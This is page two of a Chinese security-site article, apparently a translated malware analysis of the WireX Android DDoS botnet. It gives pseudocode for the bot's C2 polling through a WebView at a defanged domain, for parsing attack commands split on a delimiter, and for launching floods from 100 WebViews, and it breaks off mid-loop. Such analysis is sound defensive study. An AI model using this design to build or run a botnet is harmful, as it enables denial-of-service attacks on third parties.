欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

安卓DDOS僵尸网络:The WireX Botnet

来源:本站整理 作者:佚名 时间:2017-08-29 TAG: 我要投稿
Service Runner伪代码
Class ServiceRunner extends Object { 
    Public function run() {
        DDoS_Service->poll_c2();
    }
}
C2服务器响应解析器
AttackCommandParser是一个callback, 在C2 WebView检测到页面已经加载时触发。解析器加载页面的内容,并提取标签中的内容作为攻击命令。 根据观察到的样本,来自C2的payload如下所示:
html> 
  title>
  https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/
  title>
html>
从标签中提取出来的值作为参数传入到String->contains(),确保这个值包含token分隔字符串"snewxwri"。如果分隔符存在,就把内容trim一下,然后用split()分隔成包含几个部分的Array。最后得到的分隔后的值将作为参数传入到DDoS_Service->attack()方法中。
C2服务器端响应解析之后的伪代码
Class AttackCommandParser extends WebViewClient { 
    Public function onPageFinished(C2_WebView,C2_url) {
        String pageTitle = C2_WebView->getTitle();
        if (pageTitle->contains(“snewxwri”) == true) {
            pageTitle = pageTitle->trim();
            Array commandParts = pageTitle.split(“snewxwri”);
            String target = commandParts[0];
            String userAgent = commandParts[1];
            String referer = commandParts[2];
            DDoS_Service->attack(target, userAgent, referer);
        }
    }
}
DDoS Service
DDoS_Service组件就是用来发动攻击的核心组件了。它包含三个核心函数。它们的任务分别是:运行Service、调用poll_c2()方法加载C2的WebView,以及最重要的——发起攻击。我们先上伪代码,然后对这三个函数逐一进行分析。
DDoS Service伪代码
Class DDoS_Service extends Object { 
    Public function onCreate() {
        Handler OS_Handler = new Handler();
        Object Runner = new ServiceRunner();
        OS_Handler->postDelayed(Runner,2);
    }
    Public function poll_c2() {
        WebViewClient C2_Parser = new AttackCommandParser();
        WebView C2_WebView = new WebView();
        WebViewSettings C2_WebView_Settings = C2_WebView->getSettings();
        C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE);
        C2_WebView->clearCache(true);
        C2_WebView->clearHistory();
        C2_WebView->setWebViewClient(C2_Parser);
        C2_WebView->loadUrl(“http://g[.]axclick[.]store”);
    }
    Public function attack(String target, String userAgent, String referer) {
        HashMap WebViewHeaders = new HashMap();
        WebViewHeaders->put(“Referer”,referer);
        WebViewHeaders->put(“X-Requested-With”,””);
        WebView[] AttackerViews = new WebView[100];
        for (int i=0; i
            AttackerViews[i] = new WebView();
            AttackerViews[i]->clearHistory();
            AttackerViews[i]->clearFormData();

上一页  [1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载